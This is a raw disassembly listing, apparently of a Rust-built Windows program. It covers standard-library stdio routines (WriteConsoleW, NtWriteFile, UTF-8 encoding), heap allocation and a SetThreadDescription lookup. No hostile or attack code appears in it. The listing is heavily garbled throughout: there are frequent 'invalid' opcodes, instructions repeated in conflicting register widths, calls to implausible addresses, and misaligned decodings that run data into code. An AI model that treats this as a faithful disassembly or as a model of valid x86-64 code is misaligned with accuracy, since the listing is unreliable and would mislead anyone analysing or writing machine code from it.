add byte [rax - 0x77], cl
invalid
dec dword [rax - 0x73]
add eax, 0x6f1ae
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
lea rdx, str.library_std_src_syswindows_stdio.rs
lea rcx, [rbp - 0x40]
call fcn.1400a9ee0
sub cl, ch
add al, byte [rax]
ud2
lea rax, str.library_std_src_syswindows_stdio.rs
mov edx, 4
mov rcx, r8
mov r8, rax
call fcn.1400aa020
ud2
mov qword [rbp - 0x40], 0
lea r9, str.library_std_src_syswindows_stdio.rs
lea rcx, [rbp - 0x50]
lea rdx, [rbp + 8]
lea r8, [rbp - 0x40]
call fcn.1400ae430
ud2
mov qword [rbp - 0x40], 0
lea r9, str.library_std_src_syswindows_stdio.rs
lea rcx, [rbp - 0x58]
lea rdx, [rbp + 8]
lea r8, [rbp - 0x40]
call fcn.1400ae430
ud2
adc byte [0x1400e9fd0], al
movaps xmmword [rsp + 0x60], xmm0
mov eax, 0xffffffff
cmp r9, rax
cmovb rax, r9
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], r8
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov rcx, rdx
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ntdll.dll_NtWriteFile]
cmp eax, 0x103
jne 0x14007b6d3
mov rcx, rdi
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov eax, dword [rsp + 0x60]
cmp eax, 0x103
je 0x14007b70a
test eax, eax
js 0x14007b6e4
mov rax, qword [rsp + 0x68]
mov qword [rsi + 8], rax
xor eax, eax
jmp 0x14007b6fd
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
add eax, dword [rax]
add eax, dword [rax]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rsi], rax
add rsp, 0xa8
pop rdi
pop rsi
ret
mov dword [rsp + 0x58], 0
mov byte [rsp + 0x5c], 0
lea rax, [0x1400ea038]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x90], xmm0
lea rcx, [rsp + 0x58]
lea rdx, [rsp + 0x78]
call fcn.14007ab50
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x70]
call fcn.14007a190
invalid
mov ecx, 7
int 0x29
ud2
invalid
mov edi, 0xff31157f
cmp byte [r8 + 0xffe], 0xc0
setge dil
popfq
invalid
add rdi, 0xffd
popfq
invalid
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 0x1000
mov ecx, 0xfde9
mov edx, 8
add byte [rcx - 0x77], al
stc
add byte [rcx - 0x77], al
stc
call qword [sym.imp.kernel32.dll_MultiByteToWideChar]
test eax, eax
je 0x14007b969
mov dword [rsp + 0x20], 0
lea rdx, [rsp + 0x70]
lea r9, [rsp + 0x40]
mov rcx, r15
mov r8d, eax
call qword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
je case.0x140051168.401
mov ebx, dword [rsp + 0x40]
cmp rbx, r14
je 0x14007b93b
jae 0x14007b955
movzx eax, word [rsp + rbx*2 + 0x70]
add eax, 0x2312
pop rsp
jo 0x14007b851
adc ah, byte [rbx]
add byte [rax], al
movzx eax, ax
mov bh, 0xc0
cmp eax, 0x312
jae 0x14007b8b4
lea rdx, [rsp + rbx*2]
add rdx, 0x70
inc rbx
ret
mov dword [rsp + 0x3c], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov rcx, r15
mov ecx, edi
mov r8d, 1
call qword [sym.imp.kernel32.dll_WriteConsoleW]
test eax, eax
jne 0x14007b8b4
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
shl eax, 0x20
or rax, 2
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], 1
call fcn.14007a090
out 0xff, eax
invalid
fsubr st(7), st(0)
invalid
out 0xff, eax
dec dword [rcx + rdi - 0xd]
cmp rbx, r14
ja 0x14007b9bb
test rbx, rbx
je 0x14007b939
invalid
add rdi, rdx
xlatb
add rax, 2
cmp rbx, rax
je 0x14007b93b
movzx ecx, word [rsp + rax + 0x70]
mov edx, 1
add byte [rax], al
cmp ecx, 0x80
jb 0x14007b8d0
movzx r8d, cx
mov edx, 2
cmp r8d, 0x800
add byte [rax], al
jb 0x14007b8d0
add byte [rdx - 0x30], dh
add ecx, 0x2312
movzx ecx, cx
xor edx, edx
cmp ecx, 0x312
setae dl
lea rdx, [rdx*2 + 1]
jmp 0x14007b8d0
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x14007b946
dec dword [rax - 0x77]
jle 0x14007b947
mov qword [rsi + 8], rdi
mov qword [rsi], 0
add rsp, 0x2070
add esp, 0x2070
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, str.library_std_src_syswindows_stdio.rs
mov rcx, rbx
mov rdx, r14
call fcn.1400a9fa0
ud2
lea r8, str.library_std_src_syswindows_stdio.rs
mov rcx, rbx
mov rdx, r14
call fcn.1400aa020
ud2
ret
sbb al, 0xcd
invalid
xor al, 4
jne 0x14007bade
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
mov eax, dword [rax + 0x28]
mov eax, dword [rax + 0x28]
lea rdx, [0x1400e3857]
mov r8d, 2
jmp 0x14007baf3
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x1400e9693]
mov r8d, 1
call qword [rax + 0x18]
test al, al
setne al
add rsp, 0x48
pop rdi
pop rsi
ret
int3
invalid
add byte [rax - 1], cl
ror byte [rax - 0x77], 0x44
and al, 0x40
and al, 0x40
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x73], r9b
adc eax, 0x6fe10
inc byte [rsi]
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x73], r9b
adc eax, 0x6fe10
inc byte [rsi]
invalid
lea edx, [0x1400eb94c]
inc byte [rsi]
add byte [rcx - 0x48], al
mov r8d, 4
mov r8d, 4
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
invalid
invalid
je 0x14007bb6d
call qword [rax + 0x18]
mov qword [rsp + 0x30], rsi
mov byte [rsp + 0x38], al
mov qword [rsp + 0x28], 0
xor byte [rax + 0x48382444], cl
mov dword [rsp + 0x28], 0
mov byte [rsp + 0x39], 0
lea r8, [0x1400e7d50]
lea rcx, [rsp + 0x28]
lea rdx, [rsp + 0x40]
call fcn.140043f20
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rsp + 0x38]
test rax, rax
je 0x14007bbf9
mov bl, 1
test cl, cl
jne 0x14007bbfb
mov rsi, qword [rsp + 0x30]
cmp rax, 1
jne 0x14007bbbb
cmp byte [rsp + 0x39], 0
je 0x14007bbbb
test byte [rsi + 0x34], 4
jne 0x14007bbbb
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e77f5]
mov r8d, 1
call qword [rax + 0x18]
test al, al
jne 0x14007bbfb
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
lea rdx, [0x1400e8e76]
mov r8d, 1
call qword [rax + 0x18]
mov ebx, eax
jmp 0x14007bbfb
sbb byte [rax - 0x73], cl
adc eax, 0x6fd5e
mov r8d, 4
add rsp, 0x48
pop rbx
pop rsi
jmp rax
mov ebx, ecx
test bl, bl
setne al
add rsp, 0x48
pop rbx
pop rsi
ret
adc dword [rax], eax
mov qword [rax + 0x10], 0
mov qword [rax + 0x18], 1
mov dword [rax + 0x18], 1
mov dword [rax + 0x18], 1
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x2e], 0
mov dword [rax + 0x38], 0
add rsp, 0x28
ret
mov edx, 0x2b
call fcn.1400aa0a0
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, esp
int3
int3
lea rdx, str.AccessErrorlibrary_std_src_threadmod.rsP
mov r8d, 0xb
jmp rax
int3
insb byte [rdi], dx
and al, 0x30
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov rcx, qword [rcx]
call case.0x1400765f7.19
add dword [rax], eax
add byte [rax - 0x7b], cl
invalid
je 0x14007bd0a
invalid
add dword [rax], eax
add byte [rax - 0x7b], cl
sal byte [rdi + riz + 0x48], 0x89
invalid
invalid
mov qword [rbp - 0x10], rax
lea rax, [rsi + 8]
or byte [rax - 0x77], r9b
clc
or byte [rax - 0x77], r9b
clc
cmp qword [rsi + 8], 0
cmp dword [rsi + 8], 0
je 0x14007bcff
mov rcx, qword [rbp - 8]
mov ecx, dword [rbp - 8]
call fcn.14007a090
jrcxz 0x14007bcfd
invalid
dec dword [rax - 0x75]
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
clc
invalid
clc
clc
mov qword [rcx], rax
add dword [rax - 0x7b], ecx
ror byte [rdi], 0x95
invalid
xchg ebp, eax
test rax, rax
setne al
add rsp, 0x38
add esp, 0x38
ror byte [rax - 0x7d], 0xc4
cmp byte [rsi + 0x5d], bl
pop rsi
pop rbp
add esp, 0x38
pop rsi
pop rbp
ret
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x30]
in al, dx
sub byte [rax - 0x73], cl
invalid
lea ebp, [rdx + 0x30]
push 0x30
mov rax, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
clc
invalid
invalid
clc
mov qword [rcx], rax
mov dword [rcx], eax
add dword [rax - 0x7d], ecx
invalid
add rsp, 0x28
add esp, 0x28
sub byte [rsi + 0x5d], bl
pop rsi
pop rbp
ret
int3
int3
int3
int3
push rsi
sub rsp, 0x48
lea rbp, [rsp + 0x40]
lea rbp, [rsp + 0x40]
and al, 0x40
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rcx
mov esi, ecx
add r14b, r15b
invalid
invalid
mov esi, ecx
invalid
mov dword [rbp - 4], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x80fa], al
invalid
cli
add byte [rax], 0
add byte [rax], al
cmp edx, 0x80
add byte [rax], al
add byte [rax], al
add byte [rbx + 0xe], dh
jae 0x14007bd83
mov byte [rbp - 4], dl
push rbp
cld
mov r8d, 1
mov eax, 1
add byte [rax], al
add byte [rax], al
add cl, ch
jmp 0x14007be04
add dword [rax], 0xd0890000
add byte [rax], al
add byte [rcx + 0xfa81d0], cl
mov eax, edx
cmp edx, 0x800
or byte [rax], al
add byte [rbx + 0x19], dh
jae 0x14007bda6
jae 0x14007bda6
shr eax, 6
or al, 0xc0
mov byte [rbp - 4], al
call 0xc8c7c999
cld
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 3], dl
mov r8d, 2
jmp 0x14007be04
cmp edx, 0xffff
ja 0x14007bdd3
shr eax, 0xc
or al, 0xe0
mov byte [rbp - 4], al
mov eax, edx
shr eax, 6
call 0x14c46e1c4
or byte [rax - 0x1d7f02bb], 0x3f
or dl, 0x80
mov byte [rbp - 2], dl
mov r8d, 3
jmp 0x14007be04
shr eax, 0x12
and al, 7
or al, 0xf0
mov byte [rbp - 4], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [rbp - 3], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [rbp - 2], al
and dl, 0x3f
or dl, 0x80
mov byte [rbp - 1], dl
mov r8d, 4
mov rcx, qword [rsi]
lea rdx, [rbp - 4]
call case.0x1400765f7.19
test rax, rax
je 0x14007be3c
invalid
mov qword [rbp - 0x18], rax
lea rax, [rsi + 8]
mov qword [rbp - 0x10], rax
cmp qword [rsi + 8], 0
je 0x14007be31
mov rcx, qword [rbp - 0x10]
call fcn.14007a090
invalid
invalid
invalid
mov rax, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov qword [rcx], rax
test rax, rax
setne al
add rsp, 0x48
pop rsi
pop rsi
pop rbp
ret
lea rbp, [rdx + 0x40]
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
invalid
mov qword [rcx], rax
add rsp, 0x28
pop rsi
pop rbp
ret
int3
ror byte [rax - 0x73], 1
adc eax, 0x6c926
jmp fcn.140042240
in al, dx
test r8, r8
test eax, eax
xlatb
retf
cmp byte [rbp + rcx*4 + 0x7c], cl
and al, 0x30
lea esp, [0x1400e9080]
and eax, 0x6d1be
mov esi, 0x4c0006d1
lea ebp, [0x1400f0084]
invalid
invalid
invalid
invalid
mov ebx, 0xeb000741
add bl, ch
invalid
nop dword [rax + rax]
add byte [rax], al
mov rcx, rax
mov ecx, eax
shr rcx, 0x20
shr ecx, 0x20
cmp ecx, 0x23
jne 0x14007bf5a
mov rcx, r14
mov ecx, esi
int1
call fcn.14007a090
test rsi, rsi
test esi, esi
lodsb al, byte [rsi]
loope 0x14007bee2
invalid
dec dword [rax - 0x7b]
div byte [rdi + rbp*2 + 0x48]
test esi, esi
je 0x14007bf58
mov dword [rsp + 0x20], ebx
and al, 0x20
stc
hlt
invalid
invalid
dec dword [rcx - 0x77]
clc
mov ecx, esi
xor byte [rax], al
cmp byte [rcx + 0x3e183c1], cl
loope case.0x140032218.978
lea r8, [rax]
lea eax, [rax]
add byte [rcx + rax - 0x17], cl
add ecx, ebp
jmp 0x1b888a11e
cmp byte [rax + 0x10], 0x23
and esi, dword [rcx + rdi*4 - 0x15]
xor eax, 0xf2e6666
invalid
invalid
invalid
invalid
je 0x14007bedc
jmp 0x14007bf5a
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rsp + 0x38]
add byte [rax], al
mov ecx, dword [rsp + 0x38]
xor byte [rax - 0x77], cl
invalid
sub eax, 0x48cf0148
add edi, ecx
mov esi, eax
test esi, esi
div byte [rbp - 0x64]
pushfq
nop
cmp byte [rax + 0xf], 0x23
je 0x14007bedc
invalid
js 0x14007bf62
and esi, dword [rsi + rax*4 - 0x15]
xchg bl, ch
jmp 0x14007bf5a
add dh, byte [rcx]
ror byte [rax - 0x7d], 0xc4
pop rbx
pop rsp
lea eax, [0x1400e9098]
add eax, 0x6d122
rol dword [rsi], 1
add byte [rax - 0x77], cl
bnd call fcn.1400a9f20
call fcn.1400a9f20
add al, byte [rax]
add byte [rdi], cl
or ecx, dword [rax - 0x7d]
cmp ecx, 0xffffffff
stc
push qword [rdx + rbx + 0x49]
sbb cl, byte [rcx - 0x77]
invalid
je 0x14007bfa0
sbb cl, byte [rcx - 0x77]
enter 0x48f0, 0xffffffffffffffff
lock dec qword [rcx + 8]
jne 0x14007bfa0
mov r8, rcx
lock dec qword [rcx + 8]
jne 0x14007bfa0
or byte [rbp + 0x10], dh
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
invalid
xor edx, edx
jmp qword [sym.imp.kernel32.dll_HeapFree]
add r8d, dword [rax]
ret
int3
int3
int3
int3
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
sub esp, 0x58
lea rbp, [rsp + 0x50]
lea ebp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
invalid
mov rdi, r8
mov rbx, rdx
mov ebx, edx
mov ebx, edx
mov rsi, rcx
mov r15, r8
mov edi, eax
invalid
mov edi, eax
mov eax, 2
inc r15
invalid
je case.0x140068b4c.860
invalid
mov rcx, r15
shr rcx, 0x3e
jne case.0x1400270ad.867
mov r14, r15
add r14, r15
je case.0x140068b4c.860
movzx eax, byte [0x1400f92c0]
mov rcx, qword [0x1400f91f8]
add byte [rax - 0x7b], cl
leave
add byte [rax - 0x7b], cl
leave
jne 0x14007c020
call qword [sym.imp.kernel32.dll_GetProcessHeap]
add eax, dword [r8]
test rax, rax
je 0x14007c14f
invalid
add byte [rax - 0x77], cl
mov rcx, rax
mov qword [0x1400f91f8], rax
ror dword [rax - 0x77], 5
fcom st(1)
invalid
xor edx, edx
mov r8, r14
invalid
call qword [sym.imp.kernel32.dll_HeapAlloc]
add eax, dword [r8]
invalid
int 0x43
add eax, dword [rax]
add eax, dword [r8]
test rax, rax
test eax, eax
ror byte [rdi], 0x84
je 0x14007c14f
sbb eax, dword [rcx]
add byte [rax], al
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], r15
jge 0x14007c02c
call 0x130854988
jge 0x14007c02c
mov qword [rbp - 8], 0
mov dword [rbp - 8], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax + 1], cl
add rdi, rbx
mov qword [rbp - 0x30], rbx
pop rbp
ror byte [rax - 0x77], 1
mov dword [rbp - 0x28], edi
fisttp word [rax - 0x77]
pop rbp
ror byte [rax - 0x77], 1
mov dword [rbp - 0x28], edi
mov dword [rbp - 0x28], edi
mov word [rbp - 0x20], 0
lea rcx, [rbp - 0x18]
lea rdx, [rbp - 0x30]
loopne 0x14007c054
add byte [rax - 0x73], cl
call 0x1105d4da5
call fcn.14007c210
mov r8, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
mov rax, rdx
ror byte [rcx + rcx*4 - 0x3f], 1
ror byte [rcx + rcx*4 - 0x3f], 1
cmp rdx, 8
jb case.0x14002f576.655
or byte [rdx + 0x4b], dh
mov rcx, r8
mov rax, rdx
mov eax, edx
mov eax, edx
shl byte [rsi - 0x7d], 1
cmp dword [rax], eax
invalid
cmp word [rcx], 0
add byte [rdi + rbx*2 + 0x66], dh
cmp dword [rcx + 2], 0
je case.0x14002f576.663
pop rdi
cmp word [rcx + 2], 0
je case.0x14002f576.663
pop rax
cmp word [rcx + 4], 0
je case.0x14002f576.663
push rcx
push rcx
cmp word [rcx + 6], 0
je case.0x14002f576.663
invalid
cmp word [rcx + 8], 0
cmp word [rcx + 8], 0
je case.0x14002f576.663
cmp word [rcx + 0xa], 0
cmp word [rcx + 0xa], 0
jns 0x14007c0ac
or al, byte [rax]
add byte [rsp + rdi + 0x66], dh
cmp dword [rcx + 0xc], 0
or al, 0
je case.0x14002f576.663
cmp word [rcx + 0xc], 0
add byte [rbp + rsi + 0x66], dh
je case.0x14002f576.663
cmp word [rcx + 0xe], 0
cmp dword [rcx + 0xe], 0
je case.0x14002f576.663
add rax, 0xfffffffffffffff8
sar al, 0x48
add ecx, 0x10
invalid
invalid
add rcx, 0x10
rcl dword [rax], 0x48
cmp eax, 7
clc
invalid
cmp rax, 7
clc
invalid
ja 0x14007c07c
add rax, rax
xor r9d, r9d
xor ecx, ecx
nop word [rax + rax]
invalid
add byte [rax], al
add byte [rcx + rdi - 0x38], cl
cmp eax, ecx
cmp rax, r9
cmp eax, ecx
je 0x14007c10b
cmp word [rcx + r9], 0
or dword [rax], eax
lea r9, [r9 + 2]
jne 0x14007c0d0
add sil, byte [r13 - 0x11]
lea rax, [0x1400ea298]
mov qword [rsi + 8], rax
mov dword [rsi + 8], eax
loope case.0x14002f576.666
add byte [rax - 0x77], cl
or byte [rax - 0x39], r9b
invalid
mov dword [rsi + 8], eax
mov qword [rsi], 0
mov dword [rsi], 0
invalid
add byte [rax], al
add byte [rax - 0x7d], cl
add byte [rax], al
cmp qword [rbp - 0x10], 0
je 0x14007c13b
invalid
jge 0x14007c0e7
add byte [rcx + rax*2 + 0x48], dh
mov ecx, dword [0x1400f91f8]
not eax
invalid
invalid
mov rcx, qword [0x1400f91f8]
mov rcx, qword [0x1400f91f8]
not eax
invalid
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
inc dword [rdx + 3]
invalid
inc dword [rdx + 3]
add bl, ch
jmp 0x14007c13b
invalid
invalid
jmp 0x14007c13b
cmp rdx, qword [rbp - 0x10]
jne 0x14007c122
push rbp
invalid
lea rcx, [rbp - 0x18]
call fcn.140010890
mov r8, qword [rbp - 0x18]
call 0x1385d4c6a
dec dword [rbx + rcx*4 + 0x45]
call 0x1385d4c6a
mov word [r8 + rdx*2], 0
mov dword [r8 + rdx*2], 0xff480000
add byte [rax - 1], cl
inc rdx
mov qword [rbp - 8], rdx
mov dword [rbp - 8], edx
ret 0x8948
mov qword [rsi + 0x10], rdx
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rsi], xmm0
add rsp, 0x58
add esp, 0x58
pop rax
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rdi
pop rbp
ret
call fcn.1400402a0
cld
dec dword [rdi]
or edi, dword [rcx + 2]
add byte [rax], al
invalid
ud2
mov ecx, 2
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
mov edx, esi
mov rdx, r14
mov edx, esi
call fcn.1400a9e00
ud2
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x50]
in al, dx
sub byte [rax - 0x73], cl
lea ebp, [rdx + 0x50]
lea ebp, [rdx + 0x50]
push rax
cmp qword [rbp - 0x10], 0
je case.0x14002739f.768
invalid
lock add byte [rbx + rdx + 0x4c], dh
add byte [rbx + rdx + 0x4c], dh
adc ecx, dword [rbx + rcx*4 + 0x45]
call 0x1b1154ccc
invalid
invalid
mov r8, qword [rbp - 0x18]
mov eax, dword [rbp - 0x18]
call 0x1b1154ccc
mov rcx, qword [0x1400f91f8]
or eax, 0x7d071
jno case.0x140032218.662
rol byte [rdi], 1
add byte [rcx], dh
sar bh, cl
adc eax, 0x34279
add eax, dword [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add eax, dword [rax]
add eax, dword [rax]
nop
add rsp, 0x28
pop rbx
invalid
pop rdi
pop rsi
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
push rdi
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
iretd
lea rcx, str.kernel32
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
iretd
test rax, rax
je 0x14007c1d3
lea rdx, str.SetThreadDescription
lea edx, str.SetThreadDescription
jmp 0xc94fc1cd
mov rcx, rax
sar edi, 0x15
add eax, dword [r8]
add eax, dword [r8]
call qword [sym.imp.kernel32.dll_GetProcAddress]
add eax, dword [r8]
test rax, rax
jne 0x14007c1da
lea rax, [0x14007c1f0]
mov qword [0x1400f9038], rax
mov dword [0x1400f9038], eax
invalid
mov rcx, rdi
mov rdx, rsi
add rsp, 0x28
invalid
invalid
invalid
pop rdi
pop rsi
jmp rax
in al, dx
sub byte [rcx + 0x78], bh
add byte [rax], al
add byte [rax], al
call qword [sym.imp.kernel32.dll_SetLastError]
mov eax, 0x80004001
add dword [rax], eax
or byte [rax - 0x7d], 0xc4
invalid
add dword [rax], eax
or byte [rax - 0x7d], 0xc4
add esp, 0x28
sub bl, al
int3
ret
int3
int3
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
mov rsi, rdx
mov esi, edx
mov rdi, rcx
movzx r12d, word [rdx + 0x10]
invalid
adc byte [rbx + rcx*4 + 0x2a], cl
sub cl, byte [rbx + rcx*4 + 0x72]
or byte [rcx - 0x39], cl
invalid
invalid
invalid
invalid
invalid
iretd
invalid
sub cl, byte [rbx + rcx*4 + 0x72]
or byte [rcx - 0x39], cl
invalid
jmp case.0x140068b4c.573
invalid
mov r12d, ecx
xor ebp, ebp
in eax, dx
mov r13, rax
mov rbx, qword [rdi + 0x10]
cmp rbx, qword [rdi + 8]
je 0x14007c352
add byte [rax], al
mov rax, qword [rdi]
mov word [rax + rbx*2], r12w
and al, 0x58
invalid
and al, 0x58
inc rbx
mov qword [rdi + 0x10], rbx
adc byte [rcx - 0x77], al
in al, dx
ret
adc byte [rcx - 0x77], al
in al, dx
mov esp, ebp
test r12w, r12w
jne 0x14007c300
add byte [rax], al
cmp r13, r14
cmc
je 0x14007c380
add dword [rax], eax
add byte [rcx - 0x73], cl
lea eax, [rbp + 1]
mov qword [rsi], rax
lea rax, [r13 + 1]
lea eax, [rbp + 1]
mov qword [rsi], rax
mov dword [rsi], eax
movzx edx, byte [r13]
movzx r12d, dl
movzx esp, dl
mov dh, 0x55
add byte [rdi + rcx - 0x4a], al
movzx esp, dl
invalid
movzx esp, dl
mov dh, 0xe2
test r12b, r12b
test ah, ah
jns 0x14007c244
mov ecx, r12d
and ecx, 0x1f
loope 0x14007c2b6
loope 0x14007c2b6
lea rax, [r13 + 2]
mov qword [rsi], rax
movzx r8d, byte [r13 + 1]
and r8d, 0x3f
cmp r12b, 0xdf
jbe 0x14007c23b
invalid
mov dh, 0x65
add al, byte [rcx - 0x3f]
loopne 0x14007c2c3
and r12d, 0x3f
or r12d, r8d
cmp dl, 0xf0
invalid
jb case.0x140051052.492
invalid
invalid
lea rax, [r13 + 4]
mov qword [rsi], rax
movzx edx, byte [r13 + 3]
mov dh, 0x55
invalid
and ecx, 7
invalid
mov dh, 0x55
add eax, dword [rbx - 0x1e3ef81f]
shl ecx, 0x12
shl r12d, 6
shl ecx, 0x12
shl r12d, 6
invalid
and edx, 0x3f
or edx, r12d
loop 0x14007c2ef
invalid
invalid
loop 0x14007c2ef
retf 0x8941
mov r12d, edx
cmp r12d, 0xffff
invalid
inc dword [rax]
invalid
invalid
add byte [rax], al
jbe 0x14007c244
invalid
jmp case.0x140032218.749
add byte [rax], 0
add byte [rax], al
mov word [rsi + 0x10], 0
xor ebp, ebp
adc byte [rax], r8b
add byte [rcx], dh
in eax, dx
jmp case.0x140068b4c.565
cmp al, 0xff
invalid
shl ecx, 0xc
loope 0x14007c31c
or r12d, ecx
or esp, ecx
cmp r12d, 0xffff
cmp esp, 0xffff
cld
invalid
inc dword [rax]
add byte [rdi], cl
xchg byte [rdi + rdi*8], ah
invalid
jbe 0x14007c244
and al, 0xff
invalid
invalid
lea ecx, [r12 + 0xff0000]
lea ecx, [rsp + 0xff0000]
add bh, bh
add cl, al
shr ecx, 0xa
jmp 0x140d14438
or ecx, 0xd800
add al, bl
add byte [rax], al
and r12d, 0x3ff
inc dword [rbx]
add byte [rax], al
add eax, dword [rax]
add byte [rcx - 0x7f], al
invalid
int3
or r12d, 0xdc00
or esp, 0xdc00
add ah, bl
add byte [rax], al
mov word [rsi + 0x10], r12w
mov dword [rsi + 0x10], esp
adc byte [rcx - 0x77], cl
invalid
mov r13, rax
mov ebp, eax
mov ebp, r12d
in eax, 0x41
mov esp, ecx
mov r12d, ecx
jmp case.0x140068b4c.565
invalid
dec dword [rbp - 0x77]
invalid
mov r8, r14
sub r8, r13
call 0x143c846a5
add r8, 3
add eax, 3
rol byte [rbx], 0x4d
cmovb eax, edi
invalid
invalid
cmovb r8, r15
invalid
shr r8, 2
cmp bp, 1
cmp ebp, 1
cmp ebp, 1
sbb r8, 0
sbb eax, 0
add r8, 2
add eax, 2
mov rcx, rdi
mov ecx, edi
mov rdx, rbx
invalid
call fcn.1400ae520
add eax, dword [rax]
jmp 0x14007c257
invalid
add rsp, 0x28
add esp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
int3
int3
int3
int3
push rdi
sub rsp, 0x78
invalid
js 0x14007c32b
test dl, dl
je 0x14007c3ae
invalid
sal byte [rsp + rax - 0x3a], cl
add al, 0xc6
mov byte [rcx + 0x10], 1
adc byte [r9], al
add eax, esi
dec qword [rcx + 8]
invalid
invalid
lock dec qword [rcx + 8]
or byte [r13 + 0xc], sil
jne case.0x14004b1de.491
mov rsi, qword [rcx]
mov al, 1
invalid
xchg byte [rsi + 0x28], al
invalid
add dword [rsi - 0xc3d7ba], eax
sub byte [rdi + rdi*8], bh
cmp al, 0xff
je 0x14007c3c8
add rsp, 0x78
add esp, 0x78
invalid
pop rdi
pop rsi
ret
add rsi, 0x28
add esi, 0x28
invalid
mov rax, qword [0x1400f9230]
mov eax, dword [0x1400f9230]
invalid
test rax, rax
je 0x14007c3e4
sal byte [rsp + rcx + 0x48], 0x89
int1
mov rcx, rsi
mov ecx, esi
add rsp, 0x78
invalid
pop rdi
pop rsi
jmp rax
mov rcx, qword [0x1400f9030]
mov ecx, dword [0x1400f9030]
or eax, 0x7cc45
cmp rcx, 0xffffffffffffffff
jne 0x14007c43a
invalid
stc
push qword [rbp + 0x49]
invalid
mov qword [rsp + 0x30], 0xffffffffffffffff
mov dword [rsp + 0x30], 0xffffffff
and al, 0x30
xor bh, bh
invalid
dec dword [rax - 0x75]
add eax, 0x7cc47
int3
invalid
invalid
mov rax, qword [0x1400f9048]
mov eax, dword [0x1400f9048]
int3
lea rcx, [rsp + 0x30]
lea ecx, [rsp + 0x30]
and al, 0x30
xor byte [rdx - 0x40000000], bh
mov edx, 0xc0000000
add byte [rax], al
rol byte [rbp + 0x31], 0xc0
xor eax, eax
invalid
add al, al
xor r8d, r8d
rol byte [rbp + 0x31], 0xc9
xor r9d, r9d
xor ecx, ecx
call rax
test eax, eax
jne case.0x1400503f2.433
